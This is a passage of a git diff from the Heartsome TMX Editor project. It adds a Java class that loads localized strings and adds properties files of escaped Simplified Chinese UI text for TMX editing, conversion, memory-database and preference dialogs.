+preferencepage.KeysPreferencePage.commandNameColumn = \u529f\u80fd +preferencepage.KeysPreferencePage.triggerSequenceColumn = \u5feb\u6377\u952e +preferencepage.KeysPreferencePage.categoryColumn = \u7c7b\u522b +preferencepage.KeysPreferencePage.msgTitle = \u63d0\u793a +preferencepage.KeysPreferencePage.msg = \u5feb\u6377\u952e\u7684\u8bbe\u7f6e\u5b58\u5728\u51b2\u7a81\uff0c\u8bf7\u4fee\u6539\u663e\u793a\u4e3a\u7ea2\u8272\u80cc\u666f\u7684\u529f\u80fd\u5feb\u6377\u952e\u3002 + +preferencepage.SystemPreferencePage.groupFont = \u5b57\u4f53 +preferencepage.SystemPreferencePage.groupFont.desc = \u8bbe\u7f6e TMX \u7f16\u8f91\u5668\u7684\u5b57\u4f53\u548c\u5b57\u53f7\uff1a + +preferencepage.fontsetting.editor.title = \u7f16\u8f91\u5668\u5b57\u4f53 +preferencepage.fontsetting.matchView.title = \u8bb0\u5fc6\u5e93/\u672f\u8bed\u5e93\u5339\u914d\u5b57\u4f53 +###### 2013-08-12 end ############ + +dialog.AboutDialog.title = \u5173\u4e8e Heartsome Tmx Editor +dialog.AboutDialog.lblVersion = Heartsome Tmx Editor \u4e13\u4e1a\u7248 +dialog.AboutDialog.lblVersion2 = \u7248\u672c\uff1a{0} Build {1} +dialog.AboutDialog.lblProduct = \u4ea7\u54c1\u4e3b\u9875\uff1a +dialog.AboutDialog.lblSupport = \u6280\u672f\u652f\u6301\uff1a +dialog.AboutDialog.productLink = http://www.heartsome.net +dialog.AboutDialog.supportLink = http://www.heartsome.net/CN/support.html +dialog.AboutDialog.lblCopyRight = \u7248\u6743\u6240\u6709 (C) 2012 \u701a\u7279\u76db\u79d1\u6280\u6709\u9650\u516c\u53f8 \u4fdd\u7559\u6240\u6709\u6743\u5229 +dialog.AboutDialog.lblWarn = \u8b66\u544a\uff1a\u672c\u8ba1\u7b97\u673a\u7a0b\u5e8f\u53d7\u7248\u6743\u6cd5\u548c\u56fd\u9645\u6761\u7ea6\u4fdd\u62a4\u3002\n\u672a\u7ecf\u6388\u6743\u800c\u64c5\u81ea\u66f4\u6539\u6216\u5206\u53d1\u8be5\u7a0b\u5e8f\u6216\u5176\u4e2d\u7684\u4efb\u4f55\u90e8\u5206\uff0c\u4f1a\u5bfc\u81f4\u4e25\u5389\u7684\u6c11\u4e8b\u548c\u5211\u4e8b\u5904\u7f5a\uff0c\u5e76\u5c06\u5728\u6cd5\u5f8b\u5141\u8bb8\u7684\u6700\u5927\u8303\u56f4\u5185\u6536\u5230\u8d77\u8bc9\u3002 +dialog.AboutDialog.msgTitle = \u63d0\u793a +dialog.AboutDialog.msg = \u83b7\u53d6\u7248\u672c\u4fe1\u606f\u6709\u8bef\uff0c\u8f6f\u4ef6\u5373\u5c06\u9000\u51fa\u3002\n\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome \u7ffb\u8bd1\u5de5\u4f5c\u5ba4\u3002 + +##### 2013-9-10 add by yule ### +dialog.MergeTmxDilog.mergeTmx.title=\u5408\u5e76 TMX +dialog.MergeTmxDilog.tmxFile=TMX \u6587\u4ef6 +dialog.MergeTmxDilog.header.name1=\u5e8f\u53f7 +dialog.MergeTmxDilog.header.name2=\u6587\u4ef6\u540d +dialog.MergeTmxDilog.addTmxFile=\u6dfb\u52a0(&A) +dialog.MergeTmxDilog.deleteTmxFile=\u5220\u9664(&R) +dialog.MergeTmxDilog.saveTo=\u4fdd\u5b58\u5230 +dialog.MergeTmxDilog.brower=\u6d4f\u89c8(&R)... +dialog.MergeTmxDilog.mergeTmx.taskName=\u5408\u5e76 TMX... +dialog.MergeTmxDilog.merge.info.msg=\u8981\u5408\u5e76\u7684\u6587\u4ef6\u201c{0}\u201d\u4e0d\u5b58\u5728\uff0c\u65e0\u6cd5\u8fdb\u884c\u5408\u5e76\u3002 +dialog.MergeTmxDilog.merge.config.msg=\u5408\u5e76 TMX \u5b58\u50a8\u76ee\u6807\u6587\u4ef6\u201c{0}\u201d\u5df2\u7ecf\u5b58\u5728\uff0c\u662f\u5426\u8986\u76d6\uff1f + +te.ui.splitTmx.taskName=\u5206\u5272\u3000TMX... +te.ui.splitTmx.warn.msg=TMX \u6587\u4ef6\u201c{0}\u201d \u5f02\u5e38\uff0c\u89e3\u6790\u5931\u8d25\u3002 + +dialog.SplitTmxDiialog.title=\u5206\u5272 TMX +dialog.SplitTmxDiialog.groupTitle=\u5206\u5272\u65b9\u5f0f +dialog.SplitTmxDiialog.group.avgSplit=\u5e73\u5747\u5206\u5272 +dialog.SplitTmxDiialog.group.subFile=\u4e2a\u5b50\u6587\u4ef6 +dialog.SplitTmxDiialog.spliteFile=\u5206\u5272\u6587\u4ef6 +dialog.SplitTmxDiialog.brower=\u6d4f\u89c8(&B) +dialog.SplitTmxDiialog.savePath=\u5b58\u50a8\u8def\u5f84 +dialog.SplitTmxDiialog.originalPath=\u539f\u6587\u4ef6\u8def\u5f84 +dialog.SplitTmxDiialog.saveAsPath=\u53e6\u5b58\u4e3a +dialog.SplitTmxDiialog.split.info.msg=\u8981\u5206\u5272\u7684\u6587\u4ef6\u201c{0}\u201d\u4e0d\u5b58\u5728\uff0c\u65e0\u6cd5\u5206\u5272 + +te.ui.cleanTagsHandler.warn.msg=\u8b66\u544a +te.ui.cleanTagsHandler.warn.desc=\u5c06\u5220\u9664\u6587\u4ef6\u6216\u8bb0\u5fc6\u5e93\u4e2d\u7684\u6240\u6709\u5185\u90e8\u6807\u8bb0\uff0c\u5e76\u4e14\u65e0\u6cd5\u6062\u590d\uff0c\u662f\u5426\u7ee7\u7eed\uff1f + +te.ui.deleteBatchJobsHandler.warn.msg=\u8b66\u544a +te.ui.deleteBatchJobsHandler.warn.desc=\u5c06\u5bf9\u6574\u4e2a\u6587\u4ef6\u6216\u8bb0\u5fc6\u5e93\u8fdb\u884c\u9009\u62e9\u7684\u6e05\u7406\u9879\u76ee\uff0c\u5e76\u4e14\u65e0\u6cd5\u6062\u590d\uff0c\u662f\u5426\u7ee7\u7eed\uff1f +te.ui.deleteBatchJobsHandler.begin.task.name=\u5f00\u59cb\u6279\u91cf\u64cd\u4f5c + +te.ui.deleteLangHandler.error.deleteAllTgtMsg=\u5fc5\u987b\u4fdd\u7559\u4e00\u4e2a\u76ee\u6807\u8bed\u8a00\u3002 +te.ui.deleteLangHandler.error.desc=\u68c0\u6d4b\u5230\u6587\u4ef6\u4e2d\u53ea\u542b\u6709\u4e00\u4e2a\u8bed\u8a00\u5bf9\uff0c\u65e0\u6cd5\u6267\u884c\u5220\u9664\u64cd\u4f5c\u3002 +te.ui.deleteLangHandler.executeOP=\u6b63\u5728\u5904\u7406\u6570\u636e... +te.ui.deleteLangHanlder.checkMsg=\u5c06\u5220\u9664\u8bed\u8a00 {0} \u5728\u6587\u4ef6\u4e2d\u7684\u5185\u5bb9\uff0c\u5e76\u4e14\u65e0\u6cd5\u6062\u590d\uff0c\u662f\u5426\u7ee7\u7eed? + +dialog.deleteLangCodeDialog.title=\u5220\u9664\u8bed\u8a00 +dialog.deleteLangCodeDialog.srcLable=\u6e90\u8bed\u8a00\uff1a +dialog.deleteLangCodeDialog.tgtLable=\u76ee\u6807\u8bed\u8a00\uff1a + +dialog.ModifyLangCodeDialog.title=\u66f4\u6539\u8bed\u8a00\u4ee3\u7801 +dialog.ModifyLangCodeDialog.groupOldlbl=\u4fee\u6539\u524d +dialog.ModifyLangCodeDialog.groupOld.scritem=\u6e90\u8bed\u8a00\uff1a +dialog.ModifyLangCodeDialog.groupOld.tgtitem=\u76ee\u6807\u8bed\u8a00\uff1a +dialog.ModifyLangCodeDialog.groupNewlbl=\u4fee\u6539\u540e +dialog.ModifyLangCodeDialog.groupNew.scritem=\u6e90\u8bed\u8a00\uff1a +dialog.ModifyLangCodeDialog.groupNew.tgtitem=\u76ee\u6807\u8bed\u8a00\uff1a +dialog.ModifyLangCodeDialog.checkMsg1 = \u76ee\u6807\u8bed\u8a00\u4e0d\u80fd\u4e0e\u6e90\u8bed\u8a00\u76f8\u540c\u3002 +dialog.ModifyLangCodeDialog.checkMsg2 = \u91cd\u590d\u7684\u76ee\u6807\u8bed\u8a00\u3002 +dialog.ModifyLangCodeDialog.checkMsg3 = \u8be5\u64cd\u4f5c\u4f1a\u6279\u91cf\u4fee\u6539\u6587\u4ef6\u4e2d\u7684\u8bed\u8a00\u4ee3\u7801\uff0c\u5e76\u4e14\u65e0\u6cd5\u6062\u590d\uff0c\u662f\u5426\u7ee7\u7eed\uff1f + +dialog.PairFileDialog.title=\u6587\u4ef6\u914d\u5bf9 +dialog.PairFileDialog.srcGroupFile.lbl=\u6e90\u6587\u6863 +dialog.PairFileDialog.srcGroup.File=\u6587\u6863\uff1a +dialog.PairFileDialog.srcGroup.brower=\u6d4f\u89c8... +dialog.PairFileDialog.srcGroup.lang=\u8bed\u8a00 +dialog.PairFileDialog.tgtGroupFile.lbl=\u76ee\u6807\u6587\u6863 +dialog.PairFileDialog.tgtGroup.File=\u6587\u6863\uff1a +dialog.PairFileDialog.tgtGroup.brower=\u6d4f\u89c8... +dialog.PairFileDialog.tgtGroup.lang=\u8bed\u8a00\uff1a +dialog.PairFileDialog.saveAsPath=TMX \u6587\u4ef6\u4fdd\u5b58\u5230\uff1a +dialog.PairFileDialog.saveAsBrower=\u6d4f\u89c8 +dialog.PairFileDialog.start.mechieTranslate=\u542f\u7528\u673a\u5668\u7ffb\u8bd1\u63d0\u9ad8\u5339\u914d\u5bf9\u8c61\u8d28\u91cf +dialog.PairFileDialog.start=\u70b9\u51fb\u542f\u7528 +dialog.PairFileDialog.aready.start=\u5df2\u7ecf\u542f\u7528 +dialog.PairFileDialog.openTmx=\u8f6c\u5316\u540e\u5728 TMX Editor \u4e2d\u6253\u5f00 \ No newline at end of file diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/resource/Messages.java b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/resource/Messages.java new file mode 100644 index 0000000..fa8acd1 --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.te.ui.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author Jason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.te.ui.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/resource/message.properties b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/resource/message.properties new file mode 100644 index 0000000..781fcea --- /dev/null +++ b/te/net.heartsome.cat.te.ui/src/net/heartsome/cat/te/ui/resource/message.properties @@ -0,0 +1,280 @@ +ui.all.dialog.info = \u63d0\u793a +ui.all.dialog.warning = \u8b66\u544a +ui.all.dialog.error = \u9519\u8bef +ui.all.dialog.ok = \u786e\u5b9a +ui.all.dialog.cancel = \u53d6\u6d88 +handler.OpenTmxFileHandler.openFileErrorMsg = \u6253\u5f00\u6587\u4ef6\u5931\u8d25\u3002 +handler.OpenTmxFileHandler.notUtf8 = \u9700\u8981\u5c06\u5f53\u524d\u6587\u4ef6\u7684\u7f16\u7801\u8f6c\u6362\u4e3a UTF-8 \u540e\u624d\u80fd\u7ee7\u7eed\u7f16\u8f91\uff0c\u662f\u5426\u73b0\u5728\u5c31\u8f6c\u6362\u7f16\u7801\uff1f +handler.OpenTmxFileHandler.cantFindEditorViewerMsg = \u7a0b\u5e8f\u672a\u80fd\u6b63\u786e\u5730\u521d\u59cb\u5316\u3002\u8bf7\u91cd\u65b0\u542f\u52a8\u6216\u91cd\u65b0\u5b89\u88c5\u7a0b\u5e8f\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +newTmx.NewTmxFileDialog.title = \u65b0\u5efa TMX +newtmx.NewTmxFileDialog.saveLCLbl = \u4fdd\u5b58\u8def\u5f84\uff1a +newtmx.NewTmxFileDialog.browseBtn = \u6d4f\u89c8(&B)... +newtmx.NewTmxFileDialog.langGroup = \u8bed\u8a00 +newtmx.NewTmxFileDialog.srcLang = \u6e90\u8bed\u8a00\uff1a +newtmx.NewTmxFileDialog.tgtLang = \u76ee\u6807\u8bed\u8a00\uff1a +newtmx.NewTmxFileDialog.tmxLocationNotNull = \u8bf7\u9009\u62e9 TMX \u6587\u4ef6\u7684\u4fdd\u5b58\u8def\u5f84\u3002 +newtmx.NewTmxFileDialog.notSelectSrcLang = \u8bf7\u9009\u62e9\u6e90\u8bed\u8a00\u3002 +newtmx.NewTmxFileDialog.notSelectTgtLang = \u8bf7\u9009\u62e9\u76ee\u6807\u8bed\u8a00\u3002 +newtmx.NewTmxFileDialog.srcLangEqualsTgtLang = \u6e90\u8bed\u8a00\u4e0e\u76ee\u6807\u8bed\u8a00\u4e0d\u80fd\u76f8\u540c\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +newtmx.NewTmxFileDialog.tmxExsit = \u6587\u4ef6 {0} \u5df2\u7ecf\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +newtmx.NewTmxFileDialog.createSuccess = \ +newtmx.NewTmxFileDialog.createFail = TMX \u521b\u5efa\u5931\u8d25\uff0c\u8bf7\u67e5\u770b\u9519\u8bef\u65e5\u5fd7\u3002 +newtmx.NewTmxFileDialog.permissionDeny = \u65e0\u6cd5\u521b\u5efa TMX \u6587\u4ef6\uff1a\u76ee\u6807\u8def\u5f84\u6ca1\u6709\u5199\u5165\u6743\u9650\u3002\n\u8bf7\u91cd\u65b0\u9009\u62e9\u4fdd\u5b58\u8def\u5f84\u3002 + +dialog.TmDbManagerDialog.title = \u8bb0\u5fc6\u5e93\u7ba1\u7406 +dialog.TmDbManagerDialog.parameterGroup = \u6570\u636e\u5e93\u4fe1\u606f +dialog.TmDbManagerDialog.lblHost = \u5730\u5740\uff1a +dialog.TmDbManagerDialog.lblPort = \u7aef\u53e3\uff1a +dialog.TmDbManagerDialog.lblInstance = \u5b9e\u4f8b\uff1a +dialog.TmDbManagerDialog.lblLocation = \u8def\u5f84\uff1a +dialog.TmDbManagerDialog.borwserBtn = \u6d4f\u89c8(&B)... +dialog.TmDbManagerDialog.lblUsername = \u7528\u6237\u540d\uff1a +dialog.TmDbManagerDialog.lblPwd = \u5bc6\u7801\uff1a +dialog.TmDbManagerDialog.searchBtn = \u641c\u7d22(&S) +dialog.TmDbManagerDialog.msgTitle = \u63d0\u793a +dialog.TmDbManagerDialog.msg1 = \u65e0\u6cd5\u8fde\u63a5\u5230\u6307\u5b9a\u7684\u6570\u636e\u5e93\uff0c\u8bf7\u786e\u8ba4\u586b\u5199\u4e86\u6b63\u786e\u7684\u6570\u636e\u5e93\u4fe1\u606f\u3001\u4e14\u8be5\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3002 +dialog.TmDbManagerDialog.tableComposite = \u8bb0\u5fc6\u5e93\u5217\u8868 +dialog.TmDbManagerDialog.btnc = \u521b\u5efa(&C) +dialog.TmDbManagerDialog.btnd_1 = \u5220\u9664(&D) +dialog.TmDbManagerDialog.msg2 = \u5220\u9664\u8be5\u8bb0\u5fc6\u5e93\u540e\u5c06\u65e0\u6cd5\u6062\u590d\u6570\u636e\uff0c\u662f\u5426\u7ee7\u7eed\uff1f +dialog.TmDbManagerDialog.logger1 = [LOG] \u5220\u9664\u8bb0\u5fc6\u5e93\u5931\u8d25 +dialog.TmDbManagerDialog.msg3 = \u5220\u9664\u8bb0\u5fc6\u5e93\u65f6\u51fa\u9519\u3002\n\u8bf7\u91cd\u65b0\u8fd0\u884c\u8f6f\u4ef6\u6216\u91cd\u542f\u6570\u636e\u5e93\uff0c\u7136\u540e\u91cd\u8bd5\u3002\n\u82e5\u4ecd\u672a\u89e3\u51b3\u95ee\u9898\uff0c\u8bf7\u8054\u7cfb Heartsome \u7684\u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u5e76\u63d0\u4f9b\u5982\u4e0b\u4fe1\u606f\uff1a +dialog.TmDbManagerDialog.importBtn = \u5bfc\u5165 TMX(&I) +dialog.TmDbManagerDialog.msg4 = \u8bf7\u9009\u62e9\u8bb0\u5fc6\u5e93\u3002 +dialog.TmDbManagerDialog.deleteAction = \u79fb\u9664 +dialog.TmDbManagerDialog.clmnTitles1 = \u5e8f\u53f7 +dialog.TmDbManagerDialog.clmnTitles2 = \u540d\u79f0 +dialog.TmDbManagerDialog.clmnTitles3 = \u8bed\u8a00 +dialog.TmDbManagerDialog.msg5 = \u8bf7\u8bbe\u7f6e Internal DB \u8bb0\u5fc6\u5e93\u7684\u4fdd\u5b58\u8def\u5f84\u3002 +dialog.TmDbManagerDialog.msg6 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u5730\u5740\u3002 +dialog.TmDbManagerDialog.msg7 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u7aef\u53e3\u3002 +dialog.TmDbManagerDialog.msg8 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u7528\u6237\u540d\u3002 +dialog.TmDbManagerDialog.msg9 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u5b9e\u4f8b\u3002 +dialog.TmDbManagerDialog.msg10 = \u8be5\u8bb0\u5fc6\u5e93\u4e2d\u6ca1\u6709\u6587\u672c\u6bb5\u3002 +dialog.TmDbManagerDialog.inputDbNameialogTitle = \u521b\u5efa\u8bb0\u5fc6\u5e93 +dialog.TmDbManagerDialog.inputDbNameialogMsg = \u8bb0\u5fc6\u5e93\u540d\u79f0\uff1a + +tmxproperties.dialog.dialogTitile = \u5c5e\u6027 +tmxproperties.dialog.resourceTitle = \ +tmxproperties.dialog.version = TMX \u7248\u672c\uff1a +tmxproperties.dialog.location = \u6587\u4ef6\u8def\u5f84\uff1a +tmxproperties.dialog.size = \u6587\u4ef6\u5927\u5c0f\uff1a +tmxproperties.dialog.createuser = \u521b\u5efa\u8005\uff1a +tmxproperties.dialog.createtime = \u521b\u5efa\u65f6\u95f4\uff1a +tmxproperties.dialog.createtool = \u521b\u5efa\u5de5\u5177\uff1a +tmxproperties.dialog.createversion = \u521b\u5efa\u5de5\u5177\u7248\u672c\uff1a +tmxproperties.dialog.conuttu = \u7ffb\u8bd1\u5355\u5143\u6570\u91cf\uff1a +tmxproperties.dialog.sourcelang = \u6e90\u8bed\u8a00\uff1a +tmxproperties.dialog.targetlang = \u76ee\u6807\u8bed\u8a00\uff1a +dialog.TmxValidatorDialog.label.tmxtitle = \u4fee\u590d TMX \u6587\u4ef6 +dialog.TmxValidatorDialog.label.tmxfile = TMX \u6587\u4ef6\uff1a +dialog.TmxValidatorDialog.label.browse = \u6d4f\u89c8(&B)... +dialog.TmxValidatorDialog.label.verify = \u68c0\u67e5\u5e76\u4fee\u590d(&R) +dialog.TmxValidatorDialog.label.clean = \u6e05\u9664\u65e0\u6548\u5b57\u7b26 +dialog.TmxValidatorDialog.label.close = \u53d6\u6d88(&C) +dialog.TmxValidatorDialog.label.tmxex = TMX \u6587\u4ef6 (*.tmx) +dialog.TmxValidatorDialog.label.allex = \u6240\u6709\u6587\u4ef6 (*.*) +dialog.TmxValidatorDialog.info.cleaning = \u6b63\u5728\u6e05\u7406... +dialog.TmxValidatorDialog.info.error = \u6e05\u7406 {0} \u65f6\u51fa\u73b0\u672a\u77e5\u7684\u9519\u8bef +dialog.TmxValidatorDialog.info.cleandone = \u6587\u4ef6\u5df2\u6e05\u7406\u5b8c\u6210\u3002 + +dialog.TmxConvert2FileDialog.title=\u5c06 TMX \u6587\u4ef6\u8f6c\u6362\u4e3a\u6307\u5b9a\u683c\u5f0f +dialog.TmxConvert2FileDialog.waitlist=\u5f85\u8f6c\u6362\u7684 TMX \u6587\u4ef6 +dialog.TmxConvert2FileDialog.add=\u6dfb\u52a0(&A)... +dialog.TmxConvert2FileDialog.remove=\u79fb\u9664(&R) +dialog.TmxConvert2FileDialog.convertto=\u8f6c\u6362\u4e3a\uff1a +dialog.TmxConvert2FileDialog.needproperty=\u5305\u542b\u7ffb\u8bd1\u5355\u5143\u5c5e\u6027\uff08\u4ec5\u9650 *.hstm\uff09 +dialog.TmxConvert2FileDialog.toothertype=\u8f6c\u6362\u4e3a\u4e00\u4e2a\u6587\u4ef6 +dialog.TmxConvert2FileDialog.path=\u4fdd\u5b58\u5230 +dialog.TmxConvert2FileDialog.srcpath=\u539f TMX \u6587\u4ef6\u6240\u5728\u76ee\u5f55 +dialog.TmxConvert2FileDialog.saveaspath=\u6307\u5b9a\u8def\u5f84 +dialog.TmxConvert2FileDialog.browser=\u6d4f\u89c8(&B)... +dialog.TmxConvert2FileDialog.fileType.docx=Microsoft Word \u6587\u6863(*.docx) +dialog.TmxConvert2FileDialog.fileType.csv=\u4ee5 Tab \u5206\u9694\u7684\u6587\u672c\u6587\u4ef6(*.csv) +dialog.TmxConvert2FileDialog.fileType.xlsx=Microsoft Excel \u5de5\u4f5c\u7c3f(*.xlsx) +dialog.TmxConvert2FileDialog.fileType.txt=\u6587\u672c\u6587\u4ef6(*.txt) +dialog.TmxConvert2FileDialog.fileType.tbx=\u672f\u8bed\u5e93\u4ea4\u6362\u6587\u4ef6(*.tbx) +dialog.TmxConvert2FileDialog.fileType.hstm=Heartsome \u6587\u4ef6\u578b\u8bb0\u5fc6\u5e93(*.hstm) +dialog.TmxConvert2FileDialog.notutf8msg=\u9700\u8981\u5148\u5c06\u6587\u4ef6 {0} \u7684\u7f16\u7801\u8f6c\u6362\u4e3a UTF-8\uff0c\u7136\u540e\u624d\u80fd\u7ee7\u7eed\u5c06\u5176\u8f6c\u6362\u4e3a\u6307\u5b9a\u683c\u5f0f\u3002\u662f\u5426\u7ee7\u7eed\u8f6c\u6362\uff1f\ +dialog.TmxConvert2FileDialog.sourceFileNotexist=\u6e90\u6587\u4ef6 {0} \u4e0d\u5b58\u5728\u6216\u8005\u6ca1\u6709\u8bfb\u53d6\u6743\u9650\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u6e90\u6587\u4ef6\u3002 +dialog.TmxConvert2FileDialog.targetFileNotexist=\u76ee\u6807\u6587\u4ef6 {0} \u4e0d\u5b58\u5728\u6216\u8005\u6ca1\u6709\u5199\u5165\u6743\u9650\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u4fdd\u5b58\u8def\u5f84\u3002 +dialog.TmxConvert2FileDialog.overwriteFile=\u5982\u4e0b\u76ee\u6807\u6587\u4ef6\u5df2\u5b58\u5728\uff1a\n{0}\n\u786e\u5b9a\u8981\u5168\u90e8\u8986\u76d6\u5417\uff1f + +dialog.TmxConvert2FileDialog.convert.task.msg1=\u5f00\u59cb\u8f6c\u6362 +dialog.TmxConvert2FileDialog.convert.task.msg2=\u6b63\u5728\u8f6c\u6362\u6587\u4ef6 {0}... +dialog.TmxConvert2FileDialog.convert.task.error=\u8f6c\u6362\u201c{0}" \u6587\u4ef6\u65f6\u51fa\u73b0\u5982\u4e0b\u9519\u8bef\uff1a\n{1} + + +dialog.Convert2TmxDialog.title=\u5c06\u6307\u5b9a\u683c\u5f0f\u7684\u6587\u4ef6\u8f6c\u6362\u4e3a TMX +dialog.Convert2TmxDialog.srcLable=\u6e90\u6587\u4ef6\uff1a +dialog.Convert2TmxDialog.browserSrcFileBtn=\u6d4f\u89c8(&B)... +dialog.Convert2TmxDialog.langGroup=\u8bed\u8a00 +dialog.Convert2TmxDialog.srcLangLable=\u6e90\u8bed\u8a00 +dialog.Convert2TmxDialog.targetLable=\u76ee\u6807\u8bed\u8a00 +dialog.Convert2TmxDialog.addCustomAttributeBtn=\u6dfb\u52a0\u81ea\u5b9a\u4e49\u5c5e\u6027 +dialog.Convert2TmxDialog.customAttributeGroup=\u5c5e\u6027\u5217\u8868 +dialog.Convert2TmxDialog.conver2NewTmxBtn=\u521b\u5efa\u65b0\u7684 TMX \u6587\u4ef6\uff1a +dialog.Convert2TmxDialog.browserNewTmxPathBtn=\u6d4f\u89c8(&R)... +dialog.Convert2TmxDialog.appendExistTmxPathBtn=\u8ffd\u52a0\u5230\u5df2\u6709\u7684 TMX\uff1a +dialog.Convert2TmxDialog.browserExistTmxPathBtn=\u6d4f\u89c8(&R)... +dialog.Convert2TmxDialog.isOpenBtn=\u8f6c\u6362\u5b8c\u6210\u540e\u81ea\u52a8\u6253\u5f00 TMX +dialog.Convert2TmxDialog.converter.common.appendtmx.wrongTmx = \u5f85\u8ffd\u52a0\u6587\u4ef6\u4e0d\u662f\u6709\u6548\u7684 TMX \u6587\u4ef6\uff0c\u65e0\u6cd5\u8ffd\u52a0\u3002\u8bf7\u9009\u62e9\u53e6\u4e00\u4e2a\u8981\u8ffd\u52a0\u7684 TMX \u6587\u4ef6\u6216\u4f7f\u7528\u201c\u521b\u5efa\u65b0\u7684 TMX \u6587\u4ef6\u201d\u65b9\u5f0f\u3002 +dialog.Convert2TmxDialog.sourceFileFormatHelp=\u67e5\u770b\u6e90\u6587\u4ef6\u683c\u5f0f\u8303\u4f8b + +dialog.Convert2TmxDialog.convert.task.msg1=\u5f00\u59cb\u8f6c\u6362 +dialog.Convert2TmxDialog.convert.task.error=\u8f6c\u6362\u6587\u4ef6\u65f6\u51fa\u73b0\u5982\u4e0b\u9519\u8bef\uff1a\n{0} +dialog.Convert2TmxDialog.taskFinished=\u5df2\u6210\u529f\u5c06\u6307\u5b9a\u6587\u4ef6\u8f6c\u6362\u4e3a TMX\u3002 + +dialog.BatchJobsDialog.title=\u6e05\u7406 TM +dialog.BatchJobsDialog.bacthJobSelection=\u5220\u9664\u5982\u4e0b\u5185\u5bb9 +dialog.BatchJobsDialog.deleteEmpty=\u672a\u7ffb\u8bd1\u7684\u6587\u672c\u6bb5 +dialog.BatchJobsDialog.deleteDuplicate=\u91cd\u590d\u6587\u672c\u6bb5\uff08\u4fdd\u7559\u6700\u65b0\u7684\u884c\uff09 +dialog.BatchJobsDialog.deleteSameSrcDiffTgt=\u6e90\u6587\u76f8\u540c\u3001\u8bd1\u6587\u4e0d\u540c\u7684\u6587\u672c\u6bb5\uff08\u4fdd\u7559\u6700\u65b0\u7684\u884c\uff09 +dialog.BatchJobsDialog.trimSegment=\u6bb5\u9996/\u6bb5\u672b\u7a7a\u683c +dialog.BatchJobsDialog.ingoreSelection=\u9009\u9879 +dialog.BatchJobsDialog.ingoreTag=\u5ffd\u7565\u6807\u8bb0 +dialog.BatchJobsDialog.ignoreCase=\u5ffd\u7565\u5927\u5c0f\u5199 + +# \u4e0b\u5217\u4e03\u4e2a\u503c\u4e3a\u7cfb\u7edf\u754c\u9762\u4e0a\u6309\u5468\u68c0\u67e5\u66f4\u65b0\u65f6\u4e0b\u62c9\u6846\u4e2d\u663e\u793a\u7684\u503c +preferencepage.SystemPreferencePage.Mon = \u4e00 +preferencepage.SystemPreferencePage.Tue = \u4e8c +preferencepage.SystemPreferencePage.Wed = \u4e09 +preferencepage.SystemPreferencePage.Thu = \u56db +preferencepage.SystemPreferencePage.Fri = \u4e94 +preferencepage.SystemPreferencePage.Sat = \u516d +preferencepage.SystemPreferencePage.Sun = \u65e5 +preferencepage.SystemPreferencePage.groupCommon = \u81ea\u52a8\u66f4\u65b0 +preferencepage.SystemPreferencePage.imageLabel1 = \u5b9a\u671f\u81ea\u52a8\u68c0\u67e5\u672c\u8f6f\u4ef6\u662f\u5426\u6709\u66f4\u65b0\uff1a +preferencepage.SystemPreferencePage.btnCheckUpdateWithStartup = \u542f\u52a8\u65f6 +preferencepage.SystemPreferencePage.btnCheckUpdateWithMonthly1 = \u6bcf\u6708 +preferencepage.SystemPreferencePage.btnCheckUpdateWithMonthly2 = \u53f7 +preferencepage.SystemPreferencePage.btnCheckUpdateWithWeekly1 = \u6bcf\u5468 +preferencepage.SystemPreferencePage.btnCheckUpdateWithWeekly2 = \ +preferencepage.SystemPreferencePage.btnCheckUpdateWithNever = \u4ece\u4e0d +preferencepage.SystemPreferencePage.groupLanguage = \u754c\u9762\u8bed\u8a00 +preferencepage.SystemPreferencePage.imageLabel3 = \u6539\u53d8\u754c\u9762\u8bed\u8a00\u540e\uff0c\u9700\u8981\u91cd\u542f\u8f6f\u4ef6\u624d\u80fd\u751f\u6548\uff1a +preferencepage.SystemPreferencePage.btnLanguageWithEN = \u82f1\u6587 +preferencepage.SystemPreferencePage.btnLanguageWithZHCN = \u7b80\u4f53\u4e2d\u6587 +preferencepage.SystemPreferencePage.groupSystemUser = \u7528\u6237\u540d +preferencepage.SystemPreferencePage.imageLabel4 = \u5728\u7f16\u8f91\u8bb0\u5fc6\u5e93\u6216 TMX \u6587\u4ef6\u65f6\uff0c\u4f7f\u7528\u8be5\u7528\u6237\u540d\u4f5c\u4e3a\u7ffb\u8bd1\u5355\u5143\u7684\u521b\u5efa\u8005/\u4fee\u6539\u8005\uff1a +preferencepage.SystemPreferencePage.lblUser = \u7528\u6237\u540d\uff1a +preferencepage.SystemPreferencePage.msgTitle = \u63d0\u793a +preferencepage.SystemPreferencePage.msgInfo = 